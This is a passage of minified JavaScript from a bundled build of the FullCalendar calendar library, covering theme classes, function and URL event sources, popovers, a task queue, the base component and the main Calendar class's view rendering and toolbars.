d.default(i)},e.prototype.freeze=function(){this.currentPeriod&&this.currentPeriod.freeze()},e.prototype.thaw=function(){this.currentPeriod&&this.currentPeriod.thaw()},e.prototype.getEventDefsById=function(e){return this.currentPeriod.getEventDefsById(e)},e.prototype.getEventInstances=function(){return this.currentPeriod.getEventInstances()},e.prototype.getEventInstancesWithId=function(e){return this.currentPeriod.getEventInstancesWithId(e)},e.prototype.getEventInstancesWithoutId=function(e){return this.currentPeriod.getEventInstancesWithoutId(e)},e}();t.default=h,c.default.mixInto(h),p.default.mixInto(h)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t}(n(22).default);t.default=o,o.prototype.classes={widget:"fc-unthemed",widgetHeader:"fc-widget-header",widgetContent:"fc-widget-content",buttonGroup:"fc-button-group",button:"fc-button",cornerLeft:"fc-corner-left",cornerRight:"fc-corner-right",stateDefault:"fc-state-default",stateActive:"fc-state-active",stateDisabled:"fc-state-disabled",stateHover:"fc-state-hover",stateDown:"fc-state-down",popoverHeader:"fc-widget-header",popoverContent:"fc-widget-content",headerRow:"fc-widget-header",dayRow:"fc-widget-content",listView:"fc-widget-content"},o.prototype.baseIconClass="fc-icon",o.prototype.iconClasses={close:"fc-icon-x",prev:"fc-icon-left-single-arrow",next:"fc-icon-right-single-arrow",prevYear:"fc-icon-left-double-arrow",nextYear:"fc-icon-right-double-arrow"},o.prototype.iconOverrideOption="buttonIcons",o.prototype.iconOverrideCustomButtonOption="icon",o.prototype.iconOverridePrefix="fc-icon-"},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t}(n(22).default);t.default=o,o.prototype.classes={widget:"ui-widget",widgetHeader:"ui-widget-header",widgetContent:"ui-widget-content",buttonGroup:"fc-button-group",button:"ui-button",cornerLeft:"ui-corner-left",cornerRight:"ui-corner-right",stateDefault:"ui-state-default",stateActive:"ui-state-active",stateDisabled:"ui-state-disabled",stateHover:"ui-state-hover",stateDown:"ui-state-down",today:"ui-state-highlight",popoverHeader:"ui-widget-header",popoverContent:"ui-widget-content",headerRow:"ui-widget-header",dayRow:"ui-widget-content",listView:"ui-widget-content"},o.prototype.baseIconClass="ui-icon",o.prototype.iconClasses={close:"ui-icon-closethick",prev:"ui-icon-circle-triangle-w",next:"ui-icon-circle-triangle-e",prevYear:"ui-icon-seek-prev",nextYear:"ui-icon-seek-next"},o.prototype.iconOverrideOption="themeButtonIcons",o.prototype.iconOverrideCustomButtonOption="themeIcon",o.prototype.iconOverridePrefix="ui-icon-"},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(21),s=n(6),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.parse=function(e,t){var n;return o.isFunction(e.events)?n=e:o.isFunction(e)&&(n={events:e}),!!n&&s.default.parse.call(this,n,t)},t.prototype.fetch=function(e,t,n){var r=this;return this.calendar.pushLoading(),i.default.construct((function(o){r.func.call(r.calendar,e.clone(),t.clone(),n,(function(e){r.calendar.popLoading(),o(r.parseEventDefs(e))}))}))},t.prototype.getPrimitive=function(){return this.func},t.prototype.applyManualStandardProps=function(t){var n=e.prototype.applyManualStandardProps.call(this,t);return this.func=t.events,n},t}(s.default);t.default=a,a.defineStandardProps({events:!1})},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(4),s=n(21),a=n(6),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.parse=function(e,t){var n;return"string"==typeof e.url?n=e:"string"==typeof e&&(n={url:e}),!!n&&a.default.parse.call(this,n,t)},t.prototype.fetch=function(e,n,r){var a=this,l=this.ajaxSettings,u=l.success,d=l.error,c=this.buildRequestParams(e,n,r);return this.calendar.pushLoading(),s.default.construct((function(e,n){o.ajax(o.extend({},t.AJAX_DEFAULTS,l,{url:a.url,data:c,success:function(t,r,s){var l;a.calendar.popLoading(),t?(l=i.applyAll(u,a,[t,r,s]),o.isArray(l)&&(t=l),e(a.parseEventDefs(t))):n()},error:function(e,t,r){a.calendar.popLoading(),i.applyAll(d,a,[e,t,r]),n()}}))}))},t.prototype.buildRequestParams=function(e,t,n){var r,i,s,a,l=this.calendar,u=this.ajaxSettings,d={};return null==(r=this.startParam)&&(r=l.opt("startParam")),null==(i=this.endParam)&&(i=l.opt("endParam")),null==(s=this.timezoneParam)&&(s=l.opt("timezoneParam")),a=o.isFunction(u.data)?u.data():u.data||{},o.extend(d,a),d[r]=e.format(),d[i]=t.format(),n&&"local"!==n&&(d[s]=n),d},t.prototype.getPrimitive=function(){return this.url},t.prototype.applyMiscProps=function(e){this.ajaxSettings=e},t.AJAX_DEFAULTS={dataType:"json",cache:!1},t}(a.default);t.default=l,l.defineStandardProps({url:!0,startParam:!0,endParam:!0,timezoneParam:!0})},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e){this.items=e||[]}return e.prototype.proxyCall=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];var r=[];return this.items.forEach((function(n){r.push(n[e].apply(n,t))})),r},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(4),i=n(7),s=function(){function e(e,t){this.isFollowing=!1,this.isHidden=!1,this.isAnimating=!1,this.options=t=t||{},this.sourceEl=e,this.parentEl=t.parentEl?r(t.parentEl):e.parent()}return e.prototype.start=function(e){this.isFollowing||(this.isFollowing=!0,this.y0=o.getEvY(e),this.x0=o.getEvX(e),this.topDelta=0,this.leftDelta=0,this.isHidden||this.updatePosition(),o.getEvIsTouch(e)?this.listenTo(r(document),"touchmove",this.handleMove):this.listenTo(r(document),"mousemove",this.handleMove))},e.prototype.stop=function(e,t){var n=this,o=this.options.revertDuration,i=function(){n.isAnimating=!1,n.removeElement(),n.top0=n.left0=null,t&&t()};this.isFollowing&&!this.isAnimating&&(this.isFollowing=!1,this.stopListeningTo(r(document)),e&&o&&!this.isHidden?(this.isAnimating=!0,this.el.animate({top:this.top0,left:this.left0},{duration:o,complete:i})):i())},e.prototype.getEl=function(){var e=this.el;return e||((e=this.el=this.sourceEl.clone().addClass(this.options.additionalClass||"").css({position:"absolute",visibility:"",display:this.isHidden?"none":"",margin:0,right:"auto",bottom:"auto",width:this.sourceEl.width(),height:this.sourceEl.height(),opacity:this.options.opacity||"",zIndex:this.options.zIndex})).addClass("fc-unselectable"),e.appendTo(this.parentEl)),e},e.prototype.removeElement=function(){this.el&&(this.el.remove(),this.el=null)},e.prototype.updatePosition=function(){var e,t;this.getEl(),null==this.top0&&(e=this.sourceEl.offset(),t=this.el.offsetParent().offset(),this.top0=e.top-t.top,this.left0=e.left-t.left),this.el.css({top:this.top0+this.topDelta,left:this.left0+this.leftDelta})},e.prototype.handleMove=function(e){this.topDelta=o.getEvY(e)-this.y0,this.leftDelta=o.getEvX(e)-this.x0,this.isHidden||this.updatePosition()},e.prototype.hide=function(){this.isHidden||(this.isHidden=!0,this.el&&this.el.hide())},e.prototype.show=function(){this.isHidden&&(this.isHidden=!1,this.updatePosition(),this.getEl().show())},e}();t.default=s,i.default.mixInto(s)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(4),i=n(7),s=function(){function e(e){this.isHidden=!0,this.margin=10,this.options=e||{}}return e.prototype.show=function(){this.isHidden&&(this.el||this.render(),this.el.show(),this.position(),this.isHidden=!1,this.trigger("show"))},e.prototype.hide=function(){this.isHidden||(this.el.hide(),this.isHidden=!0,this.trigger("hide"))},e.prototype.render=function(){var e=this,t=this.options;this.el=r('<div class="fc-popover">').addClass(t.className||"").css({top:0,left:0}).append(t.content).appendTo(t.parentEl),this.el.on("click",".fc-close",(function(){e.hide()})),t.autoHide&&this.listenTo(r(document),"mousedown",this.documentMousedown)},e.prototype.documentMousedown=function(e){this.el&&!r(e.target).closest(this.el).length&&this.hide()},e.prototype.removeElement=function(){this.hide(),this.el&&(this.el.remove(),this.el=null),this.stopListeningTo(r(document),"mousedown")},e.prototype.position=function(){var e,t,n,i,s,a=this.options,l=this.el.offsetParent().offset(),u=this.el.outerWidth(),d=this.el.outerHeight(),c=r(window),p=o.getScrollParent(this.el);i=a.top||0,s=void 0!==a.left?a.left:void 0!==a.right?a.right-u:0,p.is(window)||p.is(document)?(p=c,e=0,t=0):(e=(n=p.offset()).top,t=n.left),e+=c.scrollTop(),t+=c.scrollLeft(),!1!==a.viewportConstrain&&(i=Math.min(i,e+p.outerHeight()-d-this.margin),i=Math.max(i,e+this.margin),s=Math.min(s,t+p.outerWidth()-u-this.margin),s=Math.max(s,t+this.margin)),this.el.css({top:i-l.top,left:s-l.left})},e.prototype.trigger=function(e){this.options[e]&&this.options[e].apply(this,Array.prototype.slice.call(arguments,1))},e}();t.default=s,i.default.mixInto(s)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(13),o=function(){function e(){this.q=[],this.isPaused=!1,this.isRunning=!1}return e.prototype.queue=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];this.q.push.apply(this.q,e),this.tryStart()},e.prototype.pause=function(){this.isPaused=!0},e.prototype.resume=function(){this.isPaused=!1,this.tryStart()},e.prototype.getIsIdle=function(){return!this.isRunning&&!this.isPaused},e.prototype.tryStart=function(){!this.isRunning&&this.canRunNext()&&(this.isRunning=!0,this.trigger("start"),this.runRemaining())},e.prototype.canRunNext=function(){return!this.isPaused&&this.q.length},e.prototype.runRemaining=function(){var e,t,n=this;do{if(e=this.q.shift(),(t=this.runTask(e))&&t.then)return void t.then((function(){n.canRunNext()&&n.runRemaining()}))}while(this.canRunNext());this.trigger("stop"),this.isRunning=!1,this.tryStart()},e.prototype.runTask=function(e){return e()},e}();t.default=o,r.default.mixInto(o)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=function(e){function t(t){var n=e.call(this)||this;return n.waitsByNamespace=t||{},n}return r.__extends(t,e),t.prototype.queue=function(e,t,n){var r,o={func:e,namespace:t,type:n};t&&(r=this.waitsByNamespace[t]),this.waitNamespace&&(t===this.waitNamespace&&null!=r?this.delayWait(r):(this.clearWait(),this.tryStart())),this.compoundTask(o)&&(this.waitNamespace||null==r?this.tryStart():this.startWait(t,r))},t.prototype.startWait=function(e,t){this.waitNamespace=e,this.spawnWait(t)},t.prototype.delayWait=function(e){clearTimeout(this.waitId),this.spawnWait(e)},t.prototype.spawnWait=function(e){var t=this;this.waitId=setTimeout((function(){t.waitNamespace=null,t.tryStart()}),e)},t.prototype.clearWait=function(){this.waitNamespace&&(clearTimeout(this.waitId),this.waitId=null,this.waitNamespace=null)},t.prototype.canRunNext=function(){if(!e.prototype.canRunNext.call(this))return!1;if(this.waitNamespace){for(var t=this.q,n=0;n<t.length;n++)if(t[n].namespace!==this.waitNamespace)return!0;return!1}return!0},t.prototype.runTask=function(e){e.func()},t.prototype.compoundTask=function(e){var t,n,r=this.q,o=!0;if(e.namespace&&"destroy"===e.type)for(t=r.length-1;t>=0;t--)if((n=r[t]).namespace===e.namespace)switch(n.type){case"init":o=!1;case"add":case"remove":r.splice(t,1)}return o&&r.push(e),o},t}(n(228).default);t.default=o},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.setElement=function(e){this.el=e,this.bindGlobalHandlers(),this.renderSkeleton(),this.set("isInDom",!0)},t.prototype.removeElement=function(){this.unset("isInDom"),this.unrenderSkeleton(),this.unbindGlobalHandlers(),this.el.remove()},t.prototype.bindGlobalHandlers=function(){},t.prototype.unbindGlobalHandlers=function(){},t.prototype.renderSkeleton=function(){},t.prototype.unrenderSkeleton=function(){},t}(n(51).default);t.default=o},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(0),s=n(4),a=n(11),l=n(49),u=n(230),d=n(19),c=function(e){function t(n,r){var o=e.call(this)||this;return o.isRTL=!1,o.hitsNeededDepth=0,o.hasAllDayBusinessHours=!1,o.isDatesRendered=!1,n&&(o.view=n),r&&(o.options=r),o.uid=String(t.guid++),o.childrenByUid={},o.nextDayThreshold=i.duration(o.opt("nextDayThreshold")),o.isRTL=o.opt("isRTL"),o.fillRendererClass&&(o.fillRenderer=new o.fillRendererClass(o)),o.eventRendererClass&&(o.eventRenderer=new o.eventRendererClass(o,o.fillRenderer)),o.helperRendererClass&&o.eventRenderer&&(o.helperRenderer=new o.helperRendererClass(o,o.eventRenderer)),o.businessHourRendererClass&&o.fillRenderer&&(o.businessHourRenderer=new o.businessHourRendererClass(o,o.fillRenderer)),o}return r.__extends(t,e),t.prototype.addChild=function(e){return!this.childrenByUid[e.uid]&&(this.childrenByUid[e.uid]=e,!0)},t.prototype.removeChild=function(e){return!!this.childrenByUid[e.uid]&&(delete this.childrenByUid[e.uid],!0)},t.prototype.updateSize=function(e,t,n){this.callChildren("updateSize",arguments)},t.prototype.opt=function(e){return this._getView().opt(e)},t.prototype.publiclyTrigger=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=this._getCalendar();return n.publiclyTrigger.apply(n,e)},t.prototype.hasPublicHandlers=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=this._getCalendar();return n.hasPublicHandlers.apply(n,e)},t.prototype.executeDateRender=function(e){this.dateProfile=e,this.renderDates(e),this.isDatesRendered=!0,this.callChildren("executeDateRender",arguments)},t.prototype.executeDateUnrender=function(){this.callChildren("executeDateUnrender",arguments),this.dateProfile=null,this.unrenderDates(),this.isDatesRendered=!1},t.prototype.renderDates=function(e){},t.prototype.unrenderDates=function(){},t.prototype.getNowIndicatorUnit=function(){},t.prototype.renderNowIndicator=function(e){this.callChildren("renderNowIndicator",arguments)},t.prototype.unrenderNowIndicator=function(){this.callChildren("unrenderNowIndicator",arguments)},t.prototype.renderBusinessHours=function(e){this.businessHourRenderer&&this.businessHourRenderer.render(e),this.callChildren("renderBusinessHours",arguments)},t.prototype.unrenderBusinessHours=function(){this.callChildren("unrenderBusinessHours",arguments),this.businessHourRenderer&&this.businessHourRenderer.unrender()},t.prototype.executeEventRender=function(e){this.eventRenderer?(this.eventRenderer.rangeUpdated(),this.eventRenderer.render(e)):this.renderEvents&&this.renderEvents(p(e)),this.callChildren("executeEventRender",arguments)},t.prototype.executeEventUnrender=function(){this.callChildren("executeEventUnrender",arguments),this.eventRenderer?this.eventRenderer.unrender():this.destroyEvents&&this.destroyEvents()},t.prototype.getBusinessHourSegs=function(){var e=this.getOwnBusinessHourSegs();return this.iterChildren((function(t){e.push.apply(e,t.getBusinessHourSegs())})),e},t.prototype.getOwnBusinessHourSegs=function(){return this.businessHourRenderer?this.businessHourRenderer.getSegs():[]},t.prototype.getEventSegs=function(){var e=this.getOwnEventSegs();return this.iterChildren((function(t){e.push.apply(e,t.getEventSegs())})),e},t.prototype.getOwnEventSegs=function(){return this.eventRenderer?this.eventRenderer.getSegs():[]},t.prototype.triggerAfterEventsRendered=function(){this.triggerAfterEventSegsRendered(this.getEventSegs()),this.publiclyTrigger("eventAfterAllRender",{context:this,args:[this]})},t.prototype.triggerAfterEventSegsRendered=function(e){var t=this;this.hasPublicHandlers("eventAfterRender")&&e.forEach((function(e){var n;e.el&&(n=e.footprint.getEventLegacy(),t.publiclyTrigger("eventAfterRender",{context:n,args:[n,e.el,t]}))}))},t.prototype.triggerBeforeEventsDestroyed=function(){this.triggerBeforeEventSegsDestroyed(this.getEventSegs())},t.prototype.triggerBeforeEventSegsDestroyed=function(e){var t=this;this.hasPublicHandlers("eventDestroy")&&e.forEach((function(e){var n;e.el&&(n=e.footprint.getEventLegacy(),t.publiclyTrigger("eventDestroy",{context:n,args:[n,e.el,t]}))}))},t.prototype.showEventsWithId=function(e){this.getEventSegs().forEach((function(t){t.footprint.eventDef.id===e&&t.el&&t.el.css("visibility","")})),this.callChildren("showEventsWithId",arguments)},t.prototype.hideEventsWithId=function(e){this.getEventSegs().forEach((function(t){t.footprint.eventDef.id===e&&t.el&&t.el.css("visibility","hidden")})),this.callChildren("hideEventsWithId",arguments)},t.prototype.renderDrag=function(e,t,n){var r=!1;return this.iterChildren((function(o){o.renderDrag(e,t,n)&&(r=!0)})),r},t.prototype.unrenderDrag=function(){this.callChildren("unrenderDrag",arguments)},t.prototype.renderEventResize=function(e,t,n){this.callChildren("renderEventResize",arguments)},t.prototype.unrenderEventResize=function(){this.callChildren("unrenderEventResize",arguments)},t.prototype.renderSelectionFootprint=function(e){this.renderHighlight(e),this.callChildren("renderSelectionFootprint",arguments)},t.prototype.unrenderSelection=function(){this.unrenderHighlight(),this.callChildren("unrenderSelection",arguments)},t.prototype.renderHighlight=function(e){this.fillRenderer&&this.fillRenderer.renderFootprint("highlight",e,{getClasses:function(){return["fc-highlight"]}}),this.callChildren("renderHighlight",arguments)},t.prototype.unrenderHighlight=function(){this.fillRenderer&&this.fillRenderer.unrender("highlight"),this.callChildren("unrenderHighlight",arguments)},t.prototype.hitsNeeded=function(){this.hitsNeededDepth++||this.prepareHits(),this.callChildren("hitsNeeded",arguments)},t.prototype.hitsNotNeeded=function(){this.hitsNeededDepth&&!--this.hitsNeededDepth&&this.releaseHits(),this.callChildren("hitsNotNeeded",arguments)},t.prototype.prepareHits=function(){},t.prototype.releaseHits=function(){},t.prototype.queryHit=function(e,t){var n,r,o=this.childrenByUid;for(n in o)if(r=o[n].queryHit(e,t))break;return r},t.prototype.getSafeHitFootprint=function(e){var t=this.getHitFootprint(e);return this.dateProfile.activeUnzonedRange.containsRange(t.unzonedRange)?t:null},t.prototype.getHitFootprint=function(e){},t.prototype.getHitEl=function(e){},t.prototype.eventRangesToEventFootprints=function(e){var t,n=[];for(t=0;t<e.length;t++)n.push.apply(n,this.eventRangeToEventFootprints(e[t]));return n},t.prototype.eventRangeToEventFootprints=function(e){return[d.eventRangeToEventFootprint(e)]},t.prototype.eventFootprintsToSegs=function(e){var t,n=[];for(t=0;t<e.length;t++)n.push.apply(n,this.eventFootprintToSegs(e[t]));return n},t.prototype.eventFootprintToSegs=function(e){var t,n,r,o=e.componentFootprint.unzonedRange;for(t=this.componentFootprintToSegs(e.componentFootprint),n=0;n<t.length;n++)r=t[n],o.isStart||(r.isStart=!1),o.isEnd||(r.isEnd=!1),r.footprint=e;return t},t.prototype.componentFootprintToSegs=function(e){return[]},t.prototype.callChildren=function(e,t){this.iterChildren((function(n){n[e].apply(n,t)}))},t.prototype.iterChildren=function(e){var t,n=this.childrenByUid;for(t in n)e(n[t])},t.prototype._getCalendar=function(){return this.calendar||this.view.calendar},t.prototype._getView=function(){return this.view},t.prototype._getDateProfile=function(){return this._getView().get("dateProfile")},t.prototype.buildGotoAnchorHtml=function(e,t,n){var r,i,l,u;return o.isPlainObject(e)?(r=e.date,i=e.type,l=e.forceOff):r=e,u={date:(r=a.default(r)).format("YYYY-MM-DD"),type:i||"day"},"string"==typeof t&&(n=t,t=null),t=t?" "+s.attrsToStr(t):"",n=n||"",!l&&this.opt("navLinks")?"<a"+t+' data-goto="'+s.htmlEscape(JSON.stringify(u))+'">'+n+"</a>":"<span"+t+">"+n+"</span>"},t.prototype.getAllDayHtml=function(){return this.opt("allDayHtml")||s.htmlEscape(this.opt("allDayText"))},t.prototype.getDayClasses=function(e,t){var n,r=this._getView(),o=[];return this.dateProfile.activeUnzonedRange.containsDate(e)?(o.push("fc-"+s.dayIDs[e.day()]),r.isDateInOtherMonth(e,this.dateProfile)&&o.push("fc-other-month"),n=r.calendar.getNow(),e.isSame(n,"day")?(o.push("fc-today"),!0!==t&&o.push(r.calendar.theme.getClass("today"))):e<n?o.push("fc-past"):o.push("fc-future")):o.push("fc-disabled-day"),o},t.prototype.formatRange=function(e,t,n,r){var o=e.end;return t&&(o=o.clone().subtract(1)),l.formatRange(e.start,o,n,r,this.isRTL)},t.prototype.currentRangeAs=function(e){return this._getDateProfile().currentUnzonedRange.as(e)},t.prototype.computeDayRange=function(e){var t=this._getCalendar(),n=t.msToUtcMoment(e.startMs,!0),r=t.msToUtcMoment(e.endMs),o=+r.time(),i=r.clone().stripTime();return o&&o>=this.nextDayThreshold&&i.add(1,"days"),i<=n&&(i=n.clone().add(1,"days")),{start:n,end:i}},t.prototype.isMultiDayRange=function(e){var t=this.computeDayRange(e);return t.end.diff(t.start,"days")>1},t.guid=0,t}(u.default);function p(e){var t,n,r,o=[];for(t in e)for(n=e[t].eventInstances,r=0;r<n.length;r++)o.push(n[r].toLegacy());return o}t.default=c},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(0),i=n(4),s=n(33),a=n(225),l=n(23),u=n(13),d=n(7),c=n(257),p=n(258),h=n(259),f=n(217),m=n(32),g=n(11),y=n(5),v=n(12),_=n(16),b=n(220),M=n(218),D=n(38),w=n(36),T=n(9),S=n(39),x=n(6),E=n(57),L=function(){function e(e,t){this.loadingLevel=0,this.ignoreUpdateViewSize=0,this.freezeContentHeightDepth=0,l.default.needed(),this.el=e,this.viewsByType={},this.optionsManager=new p.default(this,t),this.viewSpecManager=new h.default(this.optionsManager,this),this.initMomentInternals(),this.initCurrentDate(),this.initEventManager(),this.constraints=new f.default(this.eventManager,this),this.constructed()}return e.prototype.constructed=function(){},e.prototype.getView=function(){return this.view},e.prototype.publiclyTrigger=function(e,t){var n,o,i=this.opt(e);if(r.isPlainObject(t)?(n=t.context,o=t.args):r.isArray(t)&&(o=t),null==n&&(n=this.el[0]),o||(o=[]),this.triggerWith(e,n,o),i)return i.apply(n,o)},e.prototype.hasPublicHandlers=function(e){return this.hasHandlers(e)||this.opt(e)},e.prototype.option=function(e,t){var n;if("string"==typeof e){if(void 0===t)return this.optionsManager.get(e);(n={})[e]=t,this.optionsManager.add(n)}else"object"==typeof e&&this.optionsManager.add(e)},e.prototype.opt=function(e){return this.optionsManager.get(e)},e.prototype.instantiateView=function(e){var t=this.viewSpecManager.getViewSpec(e);if(!t)throw new Error('View type "'+e+'" is not valid');return new t.class(this,t)},e.prototype.isValidViewType=function(e){return Boolean(this.viewSpecManager.getViewSpec(e))},e.prototype.changeView=function(e,t){t&&(t.start&&t.end?this.optionsManager.recordOverrides({visibleRange:t}):this.currentDate=this.moment(t).stripZone()),this.renderView(e)},e.prototype.zoomTo=function(e,t){var n;t=t||"day",n=this.viewSpecManager.getViewSpec(t)||this.viewSpecManager.getUnitViewSpec(t),this.currentDate=e.clone(),this.renderView(n?n.type:null)},e.prototype.initCurrentDate=function(){var e=this.opt("defaultDate");this.currentDate=null!=e?this.moment(e).stripZone():this.getNow()},e.prototype.prev=function(){var e=this.view,t=e.dateProfileGenerator.buildPrev(e.get("dateProfile"));t.isValid&&(this.currentDate=t.date,this.renderView())},e.prototype.next=function(){var e=this.view,t=e.dateProfileGenerator.buildNext(e.get("dateProfile"));t.isValid&&(this.currentDate=t.date,this.renderView())},e.prototype.prevYear=function(){this.currentDate.add(-1,"years"),this.renderView()},e.prototype.nextYear=function(){this.currentDate.add(1,"years"),this.renderView()},e.prototype.today=function(){this.currentDate=this.getNow(),this.renderView()},e.prototype.gotoDate=function(e){this.currentDate=this.moment(e).stripZone(),this.renderView()},e.prototype.incrementDate=function(e){this.currentDate.add(o.duration(e)),this.renderView()},e.prototype.getDate=function(){return this.applyTimezone(this.currentDate)},e.prototype.pushLoading=function(){this.loadingLevel++||this.publiclyTrigger("loading",[!0,this.view])},e.prototype.popLoading=function(){--this.loadingLevel||this.publiclyTrigger("loading",[!1,this.view])},e.prototype.render=function(){this.contentEl?this.elementVisible()&&(this.calcSize(),this.updateViewSize()):this.initialRender()},e.prototype.initialRender=function(){var e=this,t=this.el;t.addClass("fc"),t.on("click.fc","a[data-goto]",(function(t){var n=r(t.currentTarget).data("goto"),o=e.moment(n.date),s=n.type,a=e.view.opt("navLink"+i.capitaliseFirstLetter(s)+"Click");"function"==typeof a?a(o,t):("string"==typeof a&&(s=a),e.zoomTo(o,s))})),this.optionsManager.watch("settingTheme",["?theme","?themeSystem"],(function(n){var r=new(E.getThemeSystemClass(n.themeSystem||n.theme))(e.optionsManager),o=r.getClass("widget");e.theme=r,o&&t.addClass(o)}),(function(){var n=e.theme.getClass("widget");e.theme=null,n&&t.removeClass(n)})),this.optionsManager.watch("settingBusinessHourGenerator",["?businessHours"],(function(t){e.businessHourGenerator=new M.default(t.businessHours,e),e.view&&e.view.set("businessHourGenerator",e.businessHourGenerator)}),(function(){e.businessHourGenerator=null})),this.optionsManager.watch("applyingDirClasses",["?isRTL","?locale"],(function(e){t.toggleClass("fc-ltr",!e.isRTL),t.toggleClass("fc-rtl",e.isRTL)})),this.contentEl=r("<div class='fc-view-container'>").prependTo(t),this.initToolbars(),this.renderHeader(),this.renderFooter(),this.renderView(this.opt("defaultView")),this.opt("handleWindowResize")&&r(window).resize(this.windowResizeProxy=i.debounce(this.windowResize.bind(this),this.opt("windowResizeDelay")))},e.prototype.destroy=function(){this.view&&this.clearView(),this.toolbarsManager.proxyCall("removeElement"),this.contentEl.remove(),this.el.removeClass("fc fc-ltr fc-rtl"),this.optionsManager.unwatch("settingTheme"),this.optionsManager.unwatch("settingBusinessHourGenerator"),this.el.off(".fc"),this.windowResizeProxy&&(r(window).unbind("resize",this.windowResizeProxy),this.windowResizeProxy=null),l.default.unneeded()},e.prototype.elementVisible=function(){return this.el.is(":visible")},e.prototype.bindViewHandlers=function(e){var t=this;e.watch("titleForCalendar",["title"],(function(n){e===t.view&&t.setToolbarsTitle(n.title)})),e.watch("dateProfileForCalendar",["dateProfile"],(function(n){e===t.view&&(t.currentDate=n.dateProfile.date,t.updateToolbarButtons(n.dateProfile))}))},e.prototype.unbindViewHandlers=function(e){e.unwatch("titleForCalendar"),e.unwatch("dateProfileForCalendar")},e.prototype.renderView=function(e){var t,n=this.view;this.freezeContentHeight(),n&&e&&n.type!==e&&this.clearView(),!this.view&&e&&(t=this.view=this.viewsByType[e]||(this.viewsByType[e]=this.instantiateView(e)),this.bindViewHandlers(t),t.startBatchRender(),t.setElement(r("<div class='fc-view fc-"+e+"-view'>").appendTo(this.contentEl)),this.toolbarsManager.proxyCall("activateButton",e)),this.view&&(this.view.get("businessHourGenerator")!==this.businessHourGenerator&&this.view.set("businessHourGenerator",this.businessHourGenerator),this.view.setDate(this.currentDate),t&&t.stopBatchRender()),this.thawContentHeight()},e.prototype.clearView=function(){var e=this.view;this.toolbarsManager.proxyCall("deactivateButton",e.type),this.unbindViewHandlers(e),e.removeElement(),e.unsetDate(),this.view=null},e.prototype.reinitView=function(){var e=this.view,t=e.queryScroll();this.freezeContentHeight(),this.clearView(),this.calcSize(),this.renderView(e.type),this.view.applyScroll(t),this.thawContentHeight()},e.prototype.getSuggestedViewHeight=function(){return null==this.suggestedViewHeight&&this.calcSize(),this.suggestedViewHeight},e.prototype.isHeightAuto=function(){return"auto"===this.opt("contentHeight")||"auto"===this.opt("height")},e.prototype.updateViewSize=function(e){void 0===e&&(e=!1);var t,n=this.view;if(!this.ignoreUpdateViewSize&&n)return e&&(this.calcSize(),t=n.queryScroll()),this.ignoreUpdateViewSize++,n.updateSize(this.getSuggestedViewHeight(),this.isHeightAuto(),e),this.ignoreUpdateViewSize--,e&&n.applyScroll(t),!0},e.prototype.calcSize=function(){this.elementVisible()&&this._calcSize()},e.prototype._calcSize=function(){var e=this.opt("contentHeight"),t=this.opt("height");this.suggestedViewHeight="number"==typeof e?e:"function"==typeof e?e():"number"==typeof t?t-this.queryToolbarsHeight():"function"==typeof t?t()-this.queryToolbarsHeight():"parent"===t?this.el.parent().height()-this.queryToolbarsHeight():Math.round(this.contentEl.width()/Math.max(this.opt("aspectRatio"),.5))},e.prototype.windowResize=function(e){e.target===window&&this.view&&this.view.isDatesRendered&&this.updateViewSize(!0)&&this.publiclyTrigger("windowResize",[this.view])},e.prototype.freezeContentHeight=function(){this.freezeContentHeightDepth++||this.forceFreezeContentHeight()},e.prototype.forceFreezeContentHeight=function(){this.contentEl.css({width:"100%",height:this.contentEl.height(),overflow:"hidden"})},e.prototype.thawContentHeight=function(){this.freezeContentHeightDepth--,this.contentEl.css({width:"",height:"",overflow:""}),this.freezeContentHeightDepth&&this.forceFreezeContentHeight()},e.prototype.initToolbars=function(){this.header=new c.default(this,this.computeHeaderOptions()),this.footer=new c.default(this,this.computeFooterOptions()),this.toolbarsManager=new a.default([this.header,this.footer])},e.prototype.computeHeaderOptions=function(){return{extraClasses:"fc-header-toolbar",layout:this.opt("header")}},e.prototype.computeFooterOptions=function(){return{extraClasses:"fc-footer-toolbar",layout:this.opt("footer")}},e.prototype.renderHeader=function(){var e=this.header;e.setToolbarOptions(this.computeHeaderOptions()),e.render(),e.el&&this.el.prepend(e.el)},e.prototype.renderFooter=function(){var e=this.footer;e.setToolbarOptions(this.computeFooterOptions()),e.render(),e.el&&this.el.append(e.el)},e.prototype.setToolbarsTitle=function(e){this.toolbarsManager.proxyCall("updateTitle",e)},e.prototype.updateToolbarButtons=function(e){var t=this.getNow(),n=this.view,r=n.dateProfileGenerator.build(t),o=n.dateProfileGenerator.buildPrev(n.get("dateProfile")),i=n.dateProfileGenerator.buildNext(n.get("dateProfile"));this.toolbarsManager.proxyCall(r.isValid&&!e.currentUnzonedRange.containsDate(t)?"enableButton":"disableButton","today"),this.toolbarsManager.proxyCall(o.isValid?"enableButton":"disableButton","prev"),this.toolbarsManager.proxyCall(i.isValid?"enableButton":"disableButton","next")},e.prototype.queryToolbarsHeight=function(){return this.toolbarsManager.items.reduce((function(e,t){return 